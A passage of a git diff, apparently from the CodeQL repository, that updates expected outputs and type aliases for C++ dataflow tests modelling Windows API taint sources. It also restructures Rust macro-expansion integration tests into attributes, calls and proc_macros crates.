param] *0 in CommandLineToArgvA | -| windows.cpp:6:8:6:25 | [summary] to write: ReturnValue[**] in CommandLineToArgvA | semmle.label | [summary] to write: ReturnValue[**] in CommandLineToArgvA | -| windows.cpp:11:15:11:29 | *call to GetCommandLineA | semmle.label | *call to GetCommandLineA | -| windows.cpp:11:15:11:29 | *call to GetCommandLineA | semmle.label | *call to GetCommandLineA | -| windows.cpp:13:8:13:11 | * ... | semmle.label | * ... | -| windows.cpp:16:17:16:34 | **call to CommandLineToArgvA | semmle.label | **call to CommandLineToArgvA | -| windows.cpp:16:17:16:34 | **call to CommandLineToArgvA | semmle.label | **call to CommandLineToArgvA | -| windows.cpp:16:36:16:38 | *cmd | semmle.label | *cmd | -| windows.cpp:19:8:19:15 | * ... | semmle.label | * ... | -| windows.cpp:23:17:23:38 | *call to GetEnvironmentStringsA | semmle.label | *call to GetEnvironmentStringsA | -| windows.cpp:23:17:23:38 | *call to GetEnvironmentStringsA | semmle.label | *call to GetEnvironmentStringsA | -| windows.cpp:25:10:25:13 | * ... | semmle.label | * ... | -| windows.cpp:28:36:28:38 | GetEnvironmentVariableA output argument | semmle.label | GetEnvironmentVariableA output argument | -| windows.cpp:30:10:30:13 | * ... | semmle.label | * ... | -| windows.cpp:86:6:86:15 | [summary param] *3 in ReadFileEx [*hEvent] | semmle.label | [summary param] *3 in ReadFileEx [*hEvent] | -| windows.cpp:86:6:86:15 | [summary param] *3 in ReadFileEx [hEvent] | semmle.label | [summary param] *3 in ReadFileEx [hEvent] | -| windows.cpp:86:6:86:15 | [summary] read: Argument[*3].Field[*hEvent] in ReadFileEx | semmle.label | [summary] read: Argument[*3].Field[*hEvent] in ReadFileEx | -| windows.cpp:86:6:86:15 | [summary] read: Argument[*3].Field[hEvent] in ReadFileEx | semmle.label | [summary] read: Argument[*3].Field[hEvent] in ReadFileEx | -| windows.cpp:86:6:86:15 | [summary] to write: Argument[4].Parameter[*2] in ReadFileEx [*hEvent] | semmle.label | [summary] to write: Argument[4].Parameter[*2] in ReadFileEx [*hEvent] | -| windows.cpp:86:6:86:15 | [summary] to write: Argument[4].Parameter[*2] in ReadFileEx [hEvent] | semmle.label | [summary] to write: Argument[4].Parameter[*2] in ReadFileEx [hEvent] | -| windows.cpp:86:6:86:15 | [summary] to write: Argument[4].Parameter[*2].Field[*hEvent] in ReadFileEx | semmle.label | [summary] to write: Argument[4].Parameter[*2].Field[*hEvent] in ReadFileEx | -| windows.cpp:86:6:86:15 | [summary] to write: Argument[4].Parameter[*2].Field[hEvent] in ReadFileEx | semmle.label | [summary] to write: Argument[4].Parameter[*2].Field[hEvent] in ReadFileEx | -| windows.cpp:143:16:143:27 | *lpOverlapped [*hEvent] | semmle.label | *lpOverlapped [*hEvent] | -| windows.cpp:145:18:145:62 | *hEvent | semmle.label | *hEvent | -| windows.cpp:145:18:145:62 | *hEvent | semmle.label | *hEvent | -| windows.cpp:145:42:145:53 | *lpOverlapped [*hEvent] | semmle.label | *lpOverlapped [*hEvent] | -| windows.cpp:145:56:145:61 | *hEvent | semmle.label | *hEvent | -| windows.cpp:147:8:147:14 | * ... | semmle.label | * ... | -| windows.cpp:153:16:153:27 | *lpOverlapped [hEvent] | semmle.label | *lpOverlapped [hEvent] | -| windows.cpp:155:12:155:55 | hEvent | semmle.label | hEvent | -| windows.cpp:155:12:155:55 | hEvent | semmle.label | hEvent | -| windows.cpp:155:35:155:46 | *lpOverlapped [hEvent] | semmle.label | *lpOverlapped [hEvent] | -| windows.cpp:156:8:156:8 | c | semmle.label | c | -| windows.cpp:164:35:164:40 | ReadFile output argument | semmle.label | ReadFile output argument | -| windows.cpp:166:10:166:16 | * ... | semmle.label | * ... | -| windows.cpp:173:23:173:28 | ReadFileEx output argument | semmle.label | ReadFileEx output argument | -| windows.cpp:175:10:175:16 | * ... | semmle.label | * ... | -| windows.cpp:185:21:185:26 | ReadFile output argument | semmle.label | ReadFile output argument | -| windows.cpp:186:5:186:14 | *overlapped [post update] [*hEvent] | semmle.label | *overlapped [post update] [*hEvent] | -| windows.cpp:186:5:186:56 | *... = ... | semmle.label | *... = ... | -| windows.cpp:188:53:188:63 | *& ... [*hEvent] | semmle.label | *& ... [*hEvent] | -| windows.cpp:194:21:194:26 | ReadFile output argument | semmle.label | ReadFile output argument | -| windows.cpp:195:5:195:14 | *overlapped [post update] [hEvent] | semmle.label | *overlapped [post update] [hEvent] | -| windows.cpp:195:5:195:57 | ... = ... | semmle.label | ... = ... | -| windows.cpp:197:53:197:63 | *& ... [hEvent] | semmle.label | *& ... [hEvent] | -| windows.cpp:205:84:205:89 | NtReadFile output argument | semmle.label | NtReadFile output argument | -| windows.cpp:207:10:207:16 | * ... | semmle.label | * ... | -| windows.cpp:282:23:282:35 | *call to MapViewOfFile | semmle.label | *call to MapViewOfFile | -| windows.cpp:282:23:282:35 | *call to MapViewOfFile | semmle.label | *call to MapViewOfFile | -| windows.cpp:283:20:283:52 | *pMapView | semmle.label | *pMapView | -| windows.cpp:285:10:285:16 | * ... | semmle.label | * ... | -| windows.cpp:289:23:289:36 | *call to MapViewOfFile2 | semmle.label | *call to MapViewOfFile2 | -| windows.cpp:289:23:289:36 | *call to MapViewOfFile2 | semmle.label | *call to MapViewOfFile2 | -| windows.cpp:290:20:290:52 | *pMapView | semmle.label | *pMapView | -| windows.cpp:292:10:292:16 | * ... | semmle.label | * ... | -| windows.cpp:298:23:298:36 | *call to MapViewOfFile3 | semmle.label | *call to MapViewOfFile3 | -| windows.cpp:298:23:298:36 | *call to MapViewOfFile3 | semmle.label | *call to MapViewOfFile3 | -| windows.cpp:299:20:299:52 | *pMapView | semmle.label | *pMapView | -| windows.cpp:301:10:301:16 | * ... | semmle.label | * ... | -| windows.cpp:307:23:307:43 | *call to MapViewOfFile3FromApp | semmle.label | *call to MapViewOfFile3FromApp | -| windows.cpp:307:23:307:43 | *call to MapViewOfFile3FromApp | semmle.label | *call to MapViewOfFile3FromApp | -| windows.cpp:308:20:308:52 | *pMapView | semmle.label | *pMapView | -| windows.cpp:310:10:310:16 | * ... | semmle.label | * ... | -| windows.cpp:314:23:314:37 | *call to MapViewOfFileEx | semmle.label | *call to MapViewOfFileEx | -| windows.cpp:314:23:314:37 | *call to MapViewOfFileEx | semmle.label | *call to MapViewOfFileEx | -| windows.cpp:315:20:315:52 | *pMapView | semmle.label | *pMapView | -| windows.cpp:317:10:317:16 | * ... | semmle.label | * ... | -| windows.cpp:321:23:321:42 | *call to MapViewOfFileFromApp | semmle.label | *call to MapViewOfFileFromApp | -| windows.cpp:321:23:321:42 | *call to MapViewOfFileFromApp | semmle.label | *call to MapViewOfFileFromApp | -| windows.cpp:322:20:322:52 | *pMapView | semmle.label | *pMapView | -| windows.cpp:324:10:324:16 | * ... | semmle.label | * ... | -| windows.cpp:328:23:328:40 | *call to MapViewOfFileNuma2 | semmle.label | *call to MapViewOfFileNuma2 | -| windows.cpp:328:23:328:40 | *call to MapViewOfFileNuma2 | semmle.label | *call to MapViewOfFileNuma2 | -| windows.cpp:329:20:329:52 | *pMapView | semmle.label | *pMapView | -| windows.cpp:331:10:331:16 | * ... | semmle.label | * ... | +| windows.cpp:17:8:17:25 | [summary param] *0 in CommandLineToArgvA | semmle.label | [summary param] *0 in CommandLineToArgvA | +| windows.cpp:17:8:17:25 | [summary] to write: ReturnValue[**] in CommandLineToArgvA | semmle.label | [summary] to write: ReturnValue[**] in CommandLineToArgvA | +| windows.cpp:22:15:22:29 | *call to GetCommandLineA | semmle.label | *call to GetCommandLineA | +| windows.cpp:22:15:22:29 | *call to GetCommandLineA | semmle.label | *call to GetCommandLineA | +| windows.cpp:24:8:24:11 | * ... | semmle.label | * ... | +| windows.cpp:27:17:27:34 | **call to CommandLineToArgvA | semmle.label | **call to CommandLineToArgvA | +| windows.cpp:27:17:27:34 | **call to CommandLineToArgvA | semmle.label | **call to CommandLineToArgvA | +| windows.cpp:27:36:27:38 | *cmd | semmle.label | *cmd | +| windows.cpp:30:8:30:15 | * ... | semmle.label | * ... | +| windows.cpp:34:17:34:38 | *call to GetEnvironmentStringsA | semmle.label | *call to GetEnvironmentStringsA | +| windows.cpp:34:17:34:38 | *call to GetEnvironmentStringsA | semmle.label | *call to GetEnvironmentStringsA | +| windows.cpp:36:10:36:13 | * ... | semmle.label | * ... | +| windows.cpp:39:36:39:38 | GetEnvironmentVariableA output argument | semmle.label | GetEnvironmentVariableA output argument | +| windows.cpp:41:10:41:13 | * ... | semmle.label | * ... | +| windows.cpp:90:6:90:15 | [summary param] *3 in ReadFileEx [*hEvent] | semmle.label | [summary param] *3 in ReadFileEx [*hEvent] | +| windows.cpp:90:6:90:15 | [summary param] *3 in ReadFileEx [hEvent] | semmle.label | [summary param] *3 in ReadFileEx [hEvent] | +| windows.cpp:90:6:90:15 | [summary] read: Argument[*3].Field[*hEvent] in ReadFileEx | semmle.label | [summary] read: Argument[*3].Field[*hEvent] in ReadFileEx | +| windows.cpp:90:6:90:15 | [summary] read: Argument[*3].Field[hEvent] in ReadFileEx | semmle.label | [summary] read: Argument[*3].Field[hEvent] in ReadFileEx | +| windows.cpp:90:6:90:15 | [summary] to write: Argument[4].Parameter[*2] in ReadFileEx [*hEvent] | semmle.label | [summary] to write: Argument[4].Parameter[*2] in ReadFileEx [*hEvent] | +| windows.cpp:90:6:90:15 | [summary] to write: Argument[4].Parameter[*2] in ReadFileEx [hEvent] | semmle.label | [summary] to write: Argument[4].Parameter[*2] in ReadFileEx [hEvent] | +| windows.cpp:90:6:90:15 | [summary] to write: Argument[4].Parameter[*2].Field[*hEvent] in ReadFileEx | semmle.label | [summary] to write: Argument[4].Parameter[*2].Field[*hEvent] in ReadFileEx | +| windows.cpp:90:6:90:15 | [summary] to write: Argument[4].Parameter[*2].Field[hEvent] in ReadFileEx | semmle.label | [summary] to write: Argument[4].Parameter[*2].Field[hEvent] in ReadFileEx | +| windows.cpp:147:16:147:27 | *lpOverlapped [*hEvent] | semmle.label | *lpOverlapped [*hEvent] | +| windows.cpp:149:18:149:62 | *hEvent | semmle.label | *hEvent | +| windows.cpp:149:18:149:62 | *hEvent | semmle.label | *hEvent | +| windows.cpp:149:42:149:53 | *lpOverlapped [*hEvent] | semmle.label | *lpOverlapped [*hEvent] | +| windows.cpp:149:56:149:61 | *hEvent | semmle.label | *hEvent | +| windows.cpp:151:8:151:14 | * ... | semmle.label | * ... | +| windows.cpp:157:16:157:27 | *lpOverlapped [hEvent] | semmle.label | *lpOverlapped [hEvent] | +| windows.cpp:159:12:159:55 | hEvent | semmle.label | hEvent | +| windows.cpp:159:12:159:55 | hEvent | semmle.label | hEvent | +| windows.cpp:159:35:159:46 | *lpOverlapped [hEvent] | semmle.label | *lpOverlapped [hEvent] | +| windows.cpp:160:8:160:8 | c | semmle.label | c | +| windows.cpp:168:35:168:40 | ReadFile output argument | semmle.label | ReadFile output argument | +| windows.cpp:170:10:170:16 | * ... | semmle.label | * ... | +| windows.cpp:177:23:177:28 | ReadFileEx output argument | semmle.label | ReadFileEx output argument | +| windows.cpp:179:10:179:16 | * ... | semmle.label | * ... | +| windows.cpp:189:21:189:26 | ReadFile output argument | semmle.label | ReadFile output argument | +| windows.cpp:190:5:190:14 | *overlapped [post update] [*hEvent] | semmle.label | *overlapped [post update] [*hEvent] | +| windows.cpp:190:5:190:56 | *... = ... | semmle.label | *... = ... | +| windows.cpp:192:53:192:63 | *& ... [*hEvent] | semmle.label | *& ... [*hEvent] | +| windows.cpp:198:21:198:26 | ReadFile output argument | semmle.label | ReadFile output argument | +| windows.cpp:199:5:199:14 | *overlapped [post update] [hEvent] | semmle.label | *overlapped [post update] [hEvent] | +| windows.cpp:199:5:199:57 | ... = ... | semmle.label | ... = ... | +| windows.cpp:201:53:201:63 | *& ... [hEvent] | semmle.label | *& ... [hEvent] | +| windows.cpp:209:84:209:89 | NtReadFile output argument | semmle.label | NtReadFile output argument | +| windows.cpp:211:10:211:16 | * ... | semmle.label | * ... | +| windows.cpp:286:23:286:35 | *call to MapViewOfFile | semmle.label | *call to MapViewOfFile | +| windows.cpp:286:23:286:35 | *call to MapViewOfFile | semmle.label | *call to MapViewOfFile | +| windows.cpp:287:20:287:52 | *pMapView | semmle.label | *pMapView | +| windows.cpp:289:10:289:16 | * ... | semmle.label | * ... | +| windows.cpp:293:23:293:36 | *call to MapViewOfFile2 | semmle.label | *call to MapViewOfFile2 | +| windows.cpp:293:23:293:36 | *call to MapViewOfFile2 | semmle.label | *call to MapViewOfFile2 | +| windows.cpp:294:20:294:52 | *pMapView | semmle.label | *pMapView | +| windows.cpp:296:10:296:16 | * ... | semmle.label | * ... | +| windows.cpp:302:23:302:36 | *call to MapViewOfFile3 | semmle.label | *call to MapViewOfFile3 | +| windows.cpp:302:23:302:36 | *call to MapViewOfFile3 | semmle.label | *call to MapViewOfFile3 | +| windows.cpp:303:20:303:52 | *pMapView | semmle.label | *pMapView | +| windows.cpp:305:10:305:16 | * ... | semmle.label | * ... | +| windows.cpp:311:23:311:43 | *call to MapViewOfFile3FromApp | semmle.label | *call to MapViewOfFile3FromApp | +| windows.cpp:311:23:311:43 | *call to MapViewOfFile3FromApp | semmle.label | *call to MapViewOfFile3FromApp | +| windows.cpp:312:20:312:52 | *pMapView | semmle.label | *pMapView | +| windows.cpp:314:10:314:16 | * ... | semmle.label | * ... | +| windows.cpp:318:23:318:37 | *call to MapViewOfFileEx | semmle.label | *call to MapViewOfFileEx | +| windows.cpp:318:23:318:37 | *call to MapViewOfFileEx | semmle.label | *call to MapViewOfFileEx | +| windows.cpp:319:20:319:52 | *pMapView | semmle.label | *pMapView | +| windows.cpp:321:10:321:16 | * ... | semmle.label | * ... | +| windows.cpp:325:23:325:42 | *call to MapViewOfFileFromApp | semmle.label | *call to MapViewOfFileFromApp | +| windows.cpp:325:23:325:42 | *call to MapViewOfFileFromApp | semmle.label | *call to MapViewOfFileFromApp | +| windows.cpp:326:20:326:52 | *pMapView | semmle.label | *pMapView | +| windows.cpp:328:10:328:16 | * ... | semmle.label | * ... | +| windows.cpp:332:23:332:40 | *call to MapViewOfFileNuma2 | semmle.label | *call to MapViewOfFileNuma2 | +| windows.cpp:332:23:332:40 | *call to MapViewOfFileNuma2 | semmle.label | *call to MapViewOfFileNuma2 | +| windows.cpp:333:20:333:52 | *pMapView | semmle.label | *pMapView | +| windows.cpp:335:10:335:16 | * ... | semmle.label | * ... | subpaths | asio_streams.cpp:100:64:100:71 | *send_str | asio_streams.cpp:56:18:56:23 | [summary param] *0 in buffer | asio_streams.cpp:56:18:56:23 | [summary] to write: ReturnValue in buffer | asio_streams.cpp:100:44:100:62 | call to buffer | | test.cpp:17:24:17:24 | x | test.cpp:4:5:4:17 | [summary param] 0 in ymlStepManual | test.cpp:4:5:4:17 | [summary] to write: ReturnValue in ymlStepManual | test.cpp:17:10:17:22 | call to ymlStepManual | | test.cpp:21:27:21:27 | x | test.cpp:5:5:5:20 | [summary param] 0 in ymlStepGenerated | test.cpp:5:5:5:20 | [summary] to write: ReturnValue in ymlStepGenerated | test.cpp:21:10:21:25 | call to ymlStepGenerated | | test.cpp:25:35:25:35 | x | test.cpp:6:5:6:27 | [summary param] 0 in ymlStepManual_with_body | test.cpp:6:5:6:27 | [summary] to write: ReturnValue in ymlStepManual_with_body | test.cpp:25:11:25:33 | call to ymlStepManual_with_body | | test.cpp:32:41:32:41 | x | test.cpp:7:47:7:52 | value2 | test.cpp:7:5:7:30 | *ymlStepGenerated_with_body | test.cpp:32:11:32:36 | call to ymlStepGenerated_with_body | -| windows.cpp:16:36:16:38 | *cmd | windows.cpp:6:8:6:25 | [summary param] *0 in CommandLineToArgvA | windows.cpp:6:8:6:25 | [summary] to write: ReturnValue[**] in CommandLineToArgvA | windows.cpp:16:17:16:34 | **call to CommandLineToArgvA | +| windows.cpp:27:36:27:38 | *cmd | windows.cpp:17:8:17:25 | [summary param] *0 in CommandLineToArgvA | windows.cpp:17:8:17:25 | [summary] to write: ReturnValue[**] in CommandLineToArgvA | windows.cpp:27:17:27:34 | **call to CommandLineToArgvA | diff --git a/cpp/ql/test/library-tests/dataflow/external-models/sources.expected b/cpp/ql/test/library-tests/dataflow/external-models/sources.expected index a50ce484e1c0..8730083d0161 100644 --- a/cpp/ql/test/library-tests/dataflow/external-models/sources.expected +++ b/cpp/ql/test/library-tests/dataflow/external-models/sources.expected @@ -1,19 +1,19 @@ | asio_streams.cpp:87:34:87:44 | read_until output argument | remote | | test.cpp:10:10:10:18 | call to ymlSource | local | -| windows.cpp:11:15:11:29 | *call to GetCommandLineA | local | -| windows.cpp:23:17:23:38 | *call to GetEnvironmentStringsA | local | -| windows.cpp:28:36:28:38 | GetEnvironmentVariableA output argument | local | -| windows.cpp:164:35:164:40 | ReadFile output argument | local | -| windows.cpp:173:23:173:28 | ReadFileEx output argument | local | -| windows.cpp:185:21:185:26 | ReadFile output argument | local | -| windows.cpp:188:23:188:29 | ReadFileEx output argument | local | -| windows.cpp:194:21:194:26 | ReadFile output argument | local | -| windows.cpp:197:23:197:29 | ReadFileEx output argument | local | -| windows.cpp:205:84:205:89 | NtReadFile output argument | local | -| windows.cpp:282:23:282:35 | *call to MapViewOfFile | local | -| windows.cpp:289:23:289:36 | *call to MapViewOfFile2 | local | -| windows.cpp:298:23:298:36 | *call to MapViewOfFile3 | local | -| windows.cpp:307:23:307:43 | *call to MapViewOfFile3FromApp | local | -| windows.cpp:314:23:314:37 | *call to MapViewOfFileEx | local | -| windows.cpp:321:23:321:42 | *call to MapViewOfFileFromApp | local | -| windows.cpp:328:23:328:40 | *call to MapViewOfFileNuma2 | local | +| windows.cpp:22:15:22:29 | *call to GetCommandLineA | local | +| windows.cpp:34:17:34:38 | *call to GetEnvironmentStringsA | local | +| windows.cpp:39:36:39:38 | GetEnvironmentVariableA output argument | local | +| windows.cpp:168:35:168:40 | ReadFile output argument | local | +| windows.cpp:177:23:177:28 | ReadFileEx output argument | local | +| windows.cpp:189:21:189:26 | ReadFile output argument | local | +| windows.cpp:192:23:192:29 | ReadFileEx output argument | local | +| windows.cpp:198:21:198:26 | ReadFile output argument | local | +| windows.cpp:201:23:201:29 | ReadFileEx output argument | local | +| windows.cpp:209:84:209:89 | NtReadFile output argument | local | +| windows.cpp:286:23:286:35 | *call to MapViewOfFile | local | +| windows.cpp:293:23:293:36 | *call to MapViewOfFile2 | local | +| windows.cpp:302:23:302:36 | *call to MapViewOfFile3 | local | +| windows.cpp:311:23:311:43 | *call to MapViewOfFile3FromApp | local | +| windows.cpp:318:23:318:37 | *call to MapViewOfFileEx | local | +| windows.cpp:325:23:325:42 | *call to MapViewOfFileFromApp | local | +| windows.cpp:332:23:332:40 | *call to MapViewOfFileNuma2 | local | diff --git a/cpp/ql/test/library-tests/dataflow/external-models/steps.expected b/cpp/ql/test/library-tests/dataflow/external-models/steps.expected index ccdec4aefcb2..ce5dd687caf9 100644 --- a/cpp/ql/test/library-tests/dataflow/external-models/steps.expected +++ b/cpp/ql/test/library-tests/dataflow/external-models/steps.expected @@ -5,4 +5,4 @@ | test.cpp:28:35:28:35 | 0 | test.cpp:28:11:28:33 | call to ymlStepManual_with_body | | test.cpp:32:38:32:38 | 0 | test.cpp:32:11:32:36 | call to ymlStepGenerated_with_body | | test.cpp:35:38:35:38 | x | test.cpp:35:11:35:36 | call to ymlStepGenerated_with_body | -| windows.cpp:16:36:16:38 | *cmd | windows.cpp:16:17:16:34 | **call to CommandLineToArgvA | +| windows.cpp:27:36:27:38 | *cmd | windows.cpp:27:17:27:34 | **call to CommandLineToArgvA | diff --git a/cpp/ql/test/library-tests/dataflow/external-models/windows.cpp b/cpp/ql/test/library-tests/dataflow/external-models/windows.cpp index 3d45afc6609d..b97ac8331026 100644 --- a/cpp/ql/test/library-tests/dataflow/external-models/windows.cpp +++ b/cpp/ql/test/library-tests/dataflow/external-models/windows.cpp @@ -2,10 +2,21 @@ void sink(char); void sink(char*); void sink(char**); -char* GetCommandLineA(); -char** CommandLineToArgvA(char*, int*); -char* GetEnvironmentStringsA(); -int GetEnvironmentVariableA(const char*, char*, int); +using HANDLE = void*; +using DWORD = unsigned long; +using LPCH = char*; +using LPSTR = char*; +using LPCSTR = const char*; +using LPVOID = void*; +using LPDWORD = unsigned long*; +using PVOID = void*; +using ULONG_PTR = unsigned long*; +using SIZE_T = decltype(sizeof(0)); + +LPSTR GetCommandLineA(); +LPSTR* CommandLineToArgvA(LPSTR, int*); +LPCH GetEnvironmentStringsA(); +DWORD GetEnvironmentVariableA(LPCSTR, LPSTR, DWORD); void getCommandLine() { char* cmd = GetCommandLineA(); @@ -30,13 +41,6 @@ void getEnvironment() { sink(*buf); // $ ir } -using HANDLE = void*; -using DWORD = unsigned long; -using LPVOID = void*; -using LPDWORD = unsigned long*; -using PVOID = void*; -using ULONG_PTR = unsigned long*; -using SIZE_T = decltype(sizeof(0)); typedef struct _OVERLAPPED { ULONG_PTR Internal; ULONG_PTR InternalHigh; From ece075c214faed16aab174dec8f53f24dbdf8d4d Mon Sep 17 00:00:00 2001 From: Paolo Tranquilli Date: Tue, 27 May 2025 16:43:28 +0200 Subject: [PATCH 415/535] Rust: add more macro expansion tests --- rust/ql/integration-tests/.gitignore | 1 + .../macro-expansion/Cargo.lock | 53 ------------------- .../macro-expansion/Cargo.toml | 10 +--- .../macro-expansion/attributes/Cargo.toml | 7 +++ .../{ => attributes}/src/lib.rs | 4 +- .../macro-expansion/calls/Cargo.toml | 6 +++ .../macro-expansion/calls/src/included.rs | 3 ++ .../macro-expansion/calls/src/lib.rs | 30 +++++++++++ .../macro-expansion/calls/src/some.txt | 1 + .../macro-expansion/diagnostics.expected | 2 +- .../{macros => proc_macros}/Cargo.toml | 2 +- .../{macros => proc_macros}/src/lib.rs | 0 .../macro-expansion/source_archive.expected | 6 ++- .../macro-expansion/summary.expected | 16 ------ .../macro-expansion/summary.qlref | 1 - .../macro-expansion/test.expected | 51 ++++++++++++------ .../integration-tests/macro-expansion/test.ql | 16 ++++-- .../generated/MacroCall/some.txt | 1 + 18 files changed, 105 insertions(+), 105 deletions(-) delete mode 100644 rust/ql/integration-tests/macro-expansion/Cargo.lock create mode 100644 rust/ql/integration-tests/macro-expansion/attributes/Cargo.toml rename rust/ql/integration-tests/macro-expansion/{ => attributes}/src/lib.rs (67%) create mode 100644 rust/ql/integration-tests/macro-expansion/calls/Cargo.toml create mode 100644 rust/ql/integration-tests/macro-expansion/calls/src/included.rs create mode 100644 rust/ql/integration-tests/macro-expansion/calls/src/lib.rs create mode 100644 rust/ql/integration-tests/macro-expansion/calls/src/some.txt rename rust/ql/integration-tests/macro-expansion/{macros => proc_macros}/Cargo.toml (88%) rename rust/ql/integration-tests/macro-expansion/{macros => proc_macros}/src/lib.rs (100%) delete mode 100644 rust/ql/integration-tests/macro-expansion/summary.expected delete mode 100644 rust/ql/integration-tests/macro-expansion/summary.qlref create mode 100644 rust/ql/test/extractor-tests/generated/MacroCall/some.txt diff --git a/rust/ql/integration-tests/.gitignore b/rust/ql/integration-tests/.gitignore index 2f7896d1d136..2c96eb1b6517 100644 --- a/rust/ql/integration-tests/.gitignore +++ b/rust/ql/integration-tests/.gitignore @@ -1 +1,2 @@ target/ +Cargo.lock diff --git a/rust/ql/integration-tests/macro-expansion/Cargo.lock b/rust/ql/integration-tests/macro-expansion/Cargo.lock deleted file mode 100644 index 976dc5e7def2..000000000000 --- a/rust/ql/integration-tests/macro-expansion/Cargo.lock +++ /dev/null @@ -1,53 +0,0 @@ -# This file is automatically @generated by Cargo. -# It is not intended for manual editing. -version = 4 - -[[package]] -name = "macro_expansion" -version = "0.1.0" -dependencies = [ - "macros", -] - -[[package]] -name = "macros" -version = "0.1.0" -dependencies = [ - "quote", - "syn", -] - -[[package]] -name = "proc-macro2" -version = "1.0.95" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "02b3e5e68a3a1a02aad3ec490a98007cbc13c37cbe84a3cd7b8e406d76e7f778" -dependencies = [ - "unicode-ident", -] - -[[package]] -name = "quote" -version = "1.0.40" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1885c039570dc00dcb4ff087a89e185fd56bae234ddc7f056a945bf36467248d" -dependencies = [ - "proc-macro2", -] - -[[package]] -name = "syn" -version = "2.0.101" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8ce2b7fc941b3a24138a0a7cf8e858bfc6a992e7978a068a5c760deb0ed43caf" -dependencies = [ - "proc-macro2", - "quote", - "unicode-ident", -] - -[[package]] -name = "unicode-ident" -version = "1.0.18" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5a5f39404a5da50712a4c1eecf25e90dd62b613502b7e925fd4e4d19b5c96512" diff --git a/rust/ql/integration-tests/macro-expansion/Cargo.toml b/rust/ql/integration-tests/macro-expansion/Cargo.toml index b7ce204e07ff..9be2ec64b578 100644 --- a/rust/ql/integration-tests/macro-expansion/Cargo.toml +++ b/rust/ql/integration-tests/macro-expansion/Cargo.toml @@ -1,11 +1,3 @@ [workspace] -members = ["macros"] +members = [ "attributes", "calls", "proc_macros"] resolver = "2" - -[package] -name = "macro_expansion" -version = "0.1.0" -edition = "2024" - -[dependencies] -macros = { path = "macros" } diff --git a/rust/ql/integration-tests/macro-expansion/attributes/Cargo.toml b/rust/ql/integration-tests/macro-expansion/attributes/Cargo.toml new file mode 100644 index 000000000000..b475ead960af --- /dev/null +++ b/rust/ql/integration-tests/macro-expansion/attributes/Cargo.toml @@ -0,0 +1,7 @@ +[package] +name = "attributes" +version = "0.1.0" +edition = "2024" + +[dependencies] +proc_macros = { path = "../proc_macros" } diff --git a/rust/ql/integration-tests/macro-expansion/src/lib.rs b/rust/ql/integration-tests/macro-expansion/attributes/src/lib.rs similarity index 67% rename from rust/ql/integration-tests/macro-expansion/src/lib.rs rename to rust/ql/integration-tests/macro-expansion/attributes/src/lib.rs index 2007d3b111aa..682083aa10ae 100644 --- a/rust/ql/integration-tests/macro-expansion/src/lib.rs +++ b/rust/ql/integration-tests/macro-expansion/attributes/src/lib.rs @@ -1,8 +1,8 @@ -use macros::repeat; +use proc_macros::repeat; #[repeat(3)] fn foo() { - println!("Hello, world!"); + _ = concat!("Hello ", "world!"); #[repeat(2)] fn inner() {} diff --git a/rust/ql/integration-tests/macro-expansion/calls/Cargo.toml b/rust/ql/integration-tests/macro-expansion/calls/Cargo.toml new file mode 100644 index 000000000000..d38cf944489e --- /dev/null +++ b/rust/ql/integration-tests/macro-expansion/calls/Cargo.toml @@ -0,0 +1,6 @@ +[package] +name = "calls" +version = "0.1.0" +edition = "2024" + +[dependencies] diff --git a/rust/ql/integration-tests/macro-expansion/calls/src/included.rs b/rust/ql/integration-tests/macro-expansion/calls/src/included.rs new file mode 100644 index 000000000000..7397e24bd81e --- /dev/null +++ b/rust/ql/integration-tests/macro-expansion/calls/src/included.rs @@ -0,0 +1,3 @@ +fn included() { + _ = concat!("Hello", " ", "world!"); // this doesn't expand (in included.rs) since 0.0.274 +} diff --git a/rust/ql/integration-tests/macro-expansion/calls/src/lib.rs b/rust/ql/integration-tests/macro-expansion/calls/src/lib.rs new file mode 100644 index 000000000000..df3fccb7c40a --- /dev/null +++ b/rust/ql/integration-tests/macro-expansion/calls/src/lib.rs @@ -0,0 +1,30 @@ +struct S; + +macro_rules! def_x { + () => { + fn x() {} + }; +} + +impl S { + def_x!(); // this doesn't expand since 0.0.274 +} + +macro_rules! my_macro { + ($head:expr, $($tail:tt)*) => { format!($head, $($tail)*) }; +} + + +fn test() { + _ = concat!("x", "y"); + + _ = my_macro!( + concat!("<", "{}", ">"), // this doesn't expand since 0.0.274 + "hi", + ); +} + +include!("included.rs"); + +#[doc = include_str!("some.txt")] // this doesn't expand since 0.0.274 +fn documented() {} diff --git a/rust/ql/integration-tests/macro-expansion/calls/src/some.txt b/rust/ql/integration-tests/macro-expansion/calls/src/some.txt new file mode 100644 index 000000000000..4c5477a837a9 --- /dev/null +++ b/rust/ql/integration-tests/macro-expansion/calls/src/some.txt @@ -0,0 +1 @@ +Hey! diff --git a/rust/ql/integration-tests/macro-expansion/diagnostics.expected b/rust/ql/integration-tests/macro-expansion/diagnostics.expected index c98f923b463f..511bd49f1a51 100644 --- a/rust/ql/integration-tests/macro-expansion/diagnostics.expected +++ b/rust/ql/integration-tests/macro-expansion/diagnostics.expected @@ -38,7 +38,7 @@ "pretty": "__REDACTED__" } }, - "numberOfFiles": 2, + "numberOfFiles": 4, "numberOfManifests": 1 }, "severity": "note", diff --git a/rust/ql/integration-tests/macro-expansion/macros/Cargo.toml b/rust/ql/integration-tests/macro-expansion/proc_macros/Cargo.toml similarity index 88% rename from rust/ql/integration-tests/macro-expansion/macros/Cargo.toml rename to rust/ql/integration-tests/macro-expansion/proc_macros/Cargo.toml index a503d3fb903f..712f7ba33933 100644 --- a/rust/ql/integration-tests/macro-expansion/macros/Cargo.toml +++ b/rust/ql/integration-tests/macro-expansion/proc_macros/Cargo.toml @@ -1,5 +1,5 @@ [package] -name = "macros" +name = "proc_macros" version = "0.1.0" edition = "2024" diff --git a/rust/ql/integration-tests/macro-expansion/macros/src/lib.rs b/rust/ql/integration-tests/macro-expansion/proc_macros/src/lib.rs similarity index 100% rename from rust/ql/integration-tests/macro-expansion/macros/src/lib.rs rename to rust/ql/integration-tests/macro-expansion/proc_macros/src/lib.rs diff --git a/rust/ql/integration-tests/macro-expansion/source_archive.expected b/rust/ql/integration-tests/macro-expansion/source_archive.expected index ec61af6032b7..c1700a0a3003 100644 --- a/rust/ql/integration-tests/macro-expansion/source_archive.expected +++ b/rust/ql/integration-tests/macro-expansion/source_archive.expected @@ -1,2 +1,4 @@ -macros/src/lib.rs -src/lib.rs +attributes/src/lib.rs 